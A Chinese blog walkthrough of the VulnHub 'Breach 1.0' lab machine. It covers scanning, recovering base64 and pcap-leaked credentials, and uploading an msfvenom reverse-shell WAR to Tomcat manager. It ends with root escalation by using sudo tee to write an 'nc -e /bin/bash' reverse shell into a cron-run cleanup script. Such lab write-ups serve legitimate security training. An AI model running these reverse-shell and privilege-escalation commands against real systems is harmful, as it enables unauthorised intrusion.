• vulnhub-Breach_1.0


    vulnhub-Breach_1.0

    一、靶机搭建

    靶机下载链接:https://www.vulnhub.com/entry/breach-1,152/

    看一下下载靶机带者的文件:readme

    发现虚拟机配置了一个静态IP地址(192.168.110.140),因此我们需要将仅主机适配器配置到此子网。

    使用靶机自带的桥接网络,物理机(攻击机)需要把网段配为192.168.110.0。

    或者使用NAT网络模式,我们靶机和攻击机应该都处于192.168.110.0段中。

    1. breach靶机ip:192.168.110.140
    2. kali攻击机ip:192.168.110.50

    二、信息收集

    arp-scan 192.168.110.0/24

    nmap -sS -Pn -sV -p 0-65535 192.168.110.140

    扫描了很久,几乎所有的端口都开了,不知道是什么操作。还是先从常规的web端口下手吧。

    访问url:http://192.168.110.140:80

    在源代码中找到一串可疑的加密,试着解密一下

    base64二次解码得到:pgibbons:damnitfeel$goodtobeagang$ta

    扫描一下目录:http://192.168.110.140/

    没有找到啥有用的

    进入网站随便乱点了一下,找到一个登陆后台。

    三、漏洞利用

    进入后台登陆页面,看到登陆页面,下意识试了一下弱密码爆破。啥也没有,想多了。

    好像前面那串base64加密像是账号密码

    1. 账号:pgibbons
    2. 密码:damnitfeel$goodtobeagang$ta

    又到了找不同,哦不,信息收集的阶段了

    首先看见url:

    http://192.168.110.140/impresscms/modules/profile/index.php?uid=2

    就顺手把uid参数改一下为:

    http://192.168.110.140/impresscms/modules/profile/index.php?uid=3

    呕吼,一个平行越权漏洞,也没啥用,职业病犯了。

    这里保存一份SSL证书文件,下载下来看看,查了一下.keystore是存储公私密钥的一种文件格式

    url:192.168.110.140/.keystore

    HOME目录下有个pcap文件url,也把它下下来,.pcap是wireshark流量包文件,这里还告诉了:storepassword和keypassword都设置为“tomcat”

    url:http://192.168.110.140/impresscms/_SSL_test_phase1.pcap

    使用wireshark打开下载的pacp。发现包的内容是经过SSL加密

    所以我们需要把.pacp文件解密,变成明文,所以就得用的上第一个下载的ssl证书文件:keystore,需要把证书转化成p12格式才可以解析,然后再导入wireshark中。

    查看一下keystore密钥库中的全部证书,密钥库口令为:tomcat

    keytool -list -keystore keystore

    从密钥库导出.p12证书,口令为:tomcat

    将.p12证书导入wireshark中

    在Wireshark中打开_SSL_test_phase1.pcap流量包文件,选择菜单:编辑–首选项–Protocols–TLS,点击右边的Edit

    PS:很多教程都是SSL,不是TLS,我查了一下,19版本以后就没有ssl协议了,最新版wireshark已经 ssl 改为 tls,

    成功解密数据包,发现攻击者访问的端口为8443:

    https://192.168.110.140:8443/_M@nag3Me/html

    1. 这里有个可疑参数:
    2. Authorization: Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC\r\n
    3. base64解密参数试试,得到下面东西,有点像上面解密得到的账号密码,先放着。
    4. tomcat:Tt\5D8F(#!*u=G)4m7zB

    访问一下得到的url:https://192.168.110.140:8443/_M@nag3Me/html

    直接访问,因为我们没有相应的证书,所以不能访问

    burp上有各种证书,可以通过检测。挂上代理,使用burp放包

    有一个登录框,尝试一下,前面解密出来的账号密码:tomcat:Tt\5D8F(#!*u=G)4m7zB

    ok,进去了

    这里有个上传文件的功能点,尝试上传一下文件

    菜刀连接失败, 发现的问题:上传的菜刀马,一下子就会消失,文件被删除,须要从新上传war包才可以继续使用菜刀,主机可能有杀软或者杀web shell工具。解决方法:bash反弹一个shell出来

    使用msf生成一个war格式的反弹shell

    msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.50 lport=4444 -f war -o test.war

    上传文件,发现路径中多了个test123文件

    开启监听

    点击执行test123程序,反弹shell

    进入shell模式输入:python -c 'import pty;pty.spawn("/bin/bash")'

    # python调用本地shell实现交互式命令行

    发现不是管理员权限,接下来就是提权了

    提权

    发现在/var/www/5446目录下有两个php文件

    打开php文件,发现mysql可以使用root账号免密登录,

    查看用户名和密码:select user,password from mysql.user;

    得到milton用户的哈希密码,md5解密后可得到:miltonthelaststraw

    既然得到了milton账号,就去登录试试,查看一下信息,没什么有用信息。

    那就得想一下其他办法了,使用命令:history

    查看查看一下历史命令,发现blumbergh和root用户都曾登录过

    http://192.168.110.140/images/这个目录我曾发现有六张图片,还没用上,现在下载打开来看看

    strings打印各图片其中的可打印字符,追加输出到images.txt,在vim下查看,密码在bill.png图片中。找到可能的密码或提示:发现唯一的单词是:coffeestains

    好吧,这一步我不清楚为什么,为什么在图片里,为什么完整的单词就是密码。

    或者使用图片查看工具exiftool查看一下图片,得到可能的密码为:coffeestains

    尝试登陆账号:blumbergh:coffeestains

    真的这一步提权,我真的没搞懂,很梦幻。

    再查看一下历史命令,发现了/usr/share/cleanup和tidyup.sh脚本文件

    查看一下和tidyup.sh脚本文件

    这是一段清理脚本,描述中说明每3分钟执行清理,删除webapps目录下的文件,因此之前上传的菜刀马总是被删除,需要重新上传。查看tidyup.sh的权限,对该脚本没有写入权限,只有root可以

    查看sudo权限,执行sudo -l:发现用户能够以root权限无密码执行这tee程序或tidyup.sh脚本:/usr/bin/tee和/usr/share/cleanup/tidyup.sh

    ps:tee命令用于读取标准输入的数据,并将其内容输出成文件。tidyup.sh是清理脚本。

    通过crontab的计划任务,反弹root shell

    1. 向tidyup.sh中写入反弹shell命令

    tidyup.sh文件只有root可写,而能够以root权限运行tee命令,那么用tee命令写tidyup.sh:先将反弹shell命令写入shell.txt文件,使用bash反弹shell命令没有成功,于是使用nc命令反弹shell成功,所以写nc反弹命令:

    echo "nc -e /bin/bash 192.168.110.50 4444" > shell.txt

    再使用tee命令将shell.txt内容输出到tidyup.sh

    cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

    查看tidyup.sh文件写入成功:cat /usr/share/cleanup/tidyup.sh

    2.在kali攻击机中开启nc监听等待反弹shell,因为是定时任务,这里需要等待3分钟执行反弹,得到权限是root, 成功提权。

    参考链接:kali渗透综合靶机(十五)--Breach-1.0靶机 - JavaShuo

    Vulnhub-Breach1.0_CKCsec的博客-CSDN博客

    声明:

    本文仅限于大家技术交流和学习,严禁读者利用本博客的所有知识点进行非法操作。如果你利用文章中介绍的技术对他人造成损失,后果由您自行承担,感谢您的配合,

    作者创作不容易,请大家点赞收藏支持一下。谢谢各位读者大老爷。

  • 相关阅读:
    Java数据类型
    关于微信小程序与Java后台交互数据中中文乱码问题的讨论
    react:handleEdit={() => handleEdit(user)} 和 handleEdit={handleEdit(user)}有啥区别
    C++ 的int*p[]和int(*p)[]的区别
    sql注入学习笔记
    golang使用channel通道实现非阻塞队列和超时阻塞队列
    软件的开发模型
    kafka消息队列简单使用
    低代码软件简介及推荐列表
    关于Docker中设置Java应用的JVM
  • 原文地址:https://blog.csdn.net/HEAVEN569/article/details/125497654